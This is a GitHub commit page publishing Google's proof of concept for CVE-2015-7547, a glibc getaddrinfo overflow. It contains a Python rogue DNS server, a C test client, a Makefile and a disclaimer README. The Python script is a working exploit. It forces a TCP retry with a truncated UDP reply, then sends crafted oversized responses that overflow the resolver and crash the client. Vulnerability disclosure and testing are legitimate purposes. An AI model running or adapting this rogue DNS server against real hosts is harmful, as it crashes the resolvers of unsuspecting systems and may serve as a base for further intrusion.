Skip to content

Commit

Permalink
CVE-2015-7547 PoC commit
Browse files Browse the repository at this point in the history
  • Loading branch information
fjserna committed Feb 16, 2016
1 parent 793d548 commit 3225c96
Show file tree
Hide file tree
Showing 4 changed files with 237 additions and 0 deletions.
38 changes: 38 additions & 0 deletions CVE-2015-7547-client.c
@@ -0,0 +1,38 @@
/* Copyright 2016 Google Inc
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <err.h>
#include <stdio.h>
#include <string.h>

int
main(void)
{
struct addrinfo hints, *res;
int r;

memset(&hints, 0, sizeof(hints));
hints.ai_socktype = SOCK_STREAM;

if ((r = getaddrinfo("foo.bar.google.com", "22",
&hints, &res)) != 0)
errx(1, "getaddrinfo: %s", gai_strerror(r));

return 0;
}
178 changes: 178 additions & 0 deletions CVE-2015-7547-poc.py
@@ -0,0 +1,178 @@
#!/usr/bin/python
#
# Copyright 2016 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Gynvael Coldwind <gynvael@google.com>
# Thomas Garnier <thgarnie@google.com>

import socket
import time
import struct
import threading

IP = '127.0.0.1' # Insert your ip for bind() here...
ANSWERS1 = 184

terminate = False
last_reply = None
reply_now = threading.Event()


def dw(x):
return struct.pack('>H', x)

def dd(x):
return struct.pack('>I', x)

def dl(x):
return struct.pack('<Q', x)

def db(x):
return chr(x)

def udp_thread():
global terminate

# Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((IP, 53))

reply_counter = 0
counter = -1

answers = []

while not terminate:
data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id_udp = struct.unpack('>H', data[0:2])[0]
query_udp = data[12:]

# Send truncated flag... so it retries over TCP
data = dw(id_udp) # id
data += dw(0x8380) # flags with truncated set
data += dw(1) # questions
data += dw(0) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query_udp # question
data += '\x00' * 2500 # Need a long DNS response to force malloc

answers.append((data, addr))

if len(answers) != 2:
continue

counter += 1

if counter % 4 == 2:
answers = answers[::-1]

time.sleep(0.01)
sock_udp.sendto(*answers.pop(0))
reply_now.wait()
sock_udp.sendto(*answers.pop(0))

sock_udp.close()


def tcp_thread():
global terminate
counter = -1

#Open TCP socket
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_tcp.bind((IP, 53))
sock_tcp.listen(10)

while not terminate:
conn, addr = sock_tcp.accept()
counter += 1
print 'Connected with ' + addr[0] + ':' + str(addr[1])

# Read entire packet
data = conn.recv(1024)
print '[TCP] Total Data len recv ' + str(len(data))

reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0])
print '[TCP] Request1 len recv ' + str(reqlen1)
data1 = data[2:2+reqlen1]
id1 = struct.unpack('>H', data1[0:2])[0]
query1 = data[12:]

# Do we have an extra request?
data2 = None
if len(data) > 2+reqlen1:
reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0])
print '[TCP] Request2 len recv ' + str(reqlen2)
data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]
id2 = struct.unpack('>H', data2[0:2])[0]
query2 = data2[12:]

# Reply them on different packets
data = ''
data += dw(id1) # id
data += dw(0x8180) # flags
data += dw(1) # questions
data += dw(ANSWERS1) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query1 # question

for i in range(ANSWERS1):
answer = dw(0xc00c) # name compressed
answer += dw(1) # type A
answer += dw(1) # class
answer += dd(13) # ttl
answer += dw(4) # data length
answer += 'D' * 4 # data

data += answer

data1_reply = dw(len(data)) + data

if data2:
data = ''
data += dw(id2)
data += 'B' * (2300)
data2_reply = dw(len(data)) + data
else:
data2_reply = None

reply_now.set()
time.sleep(0.01)
conn.sendall(data1_reply)
time.sleep(0.01)
if data2:
conn.sendall(data2_reply)

reply_now.clear()

sock_tcp.shutdown(socket.SHUT_RDWR)
sock_tcp.close()


if __name__ == "__main__":

t = threading.Thread(target=udp_thread)
t.daemon = True
t.start()
tcp_thread()
terminate = True

7 changes: 7 additions & 0 deletions Makefile
@@ -0,0 +1,7 @@
all: client

client:
gcc -o CVE-2015-7547-client CVE-2015-7547-client.c

clean:
rm -f CVE-2015-7547-client
14 changes: 14 additions & 0 deletions README
@@ -0,0 +1,14 @@
We are providing this code as-is. You are responsible for protecting yourself,
your property and data, and others from any risks caused by this code. This
code may cause unexpected and undesirable behavior to occur on your machine.
This code may not detect the vulnerability on your system.

Note that this POC consists of two components: server code and client code.
The server code triggers the vulnerability and therefore will crash the client
code. Note also that it is necessary to set the nameserver to point to the
server code, and doing so could cause other programs that call into the
getaddrinfo() function to crash while testing is underway. This POC code is
provided "as is" with no warranties, whether express or implied, including
without limitation any warranties or merchantability, fitness for a particular
use and noninfringement. Google assumes no responsibility for your proper
installation and use of the POC code.

0 comments on commit 3225c96

Please sign in to comment.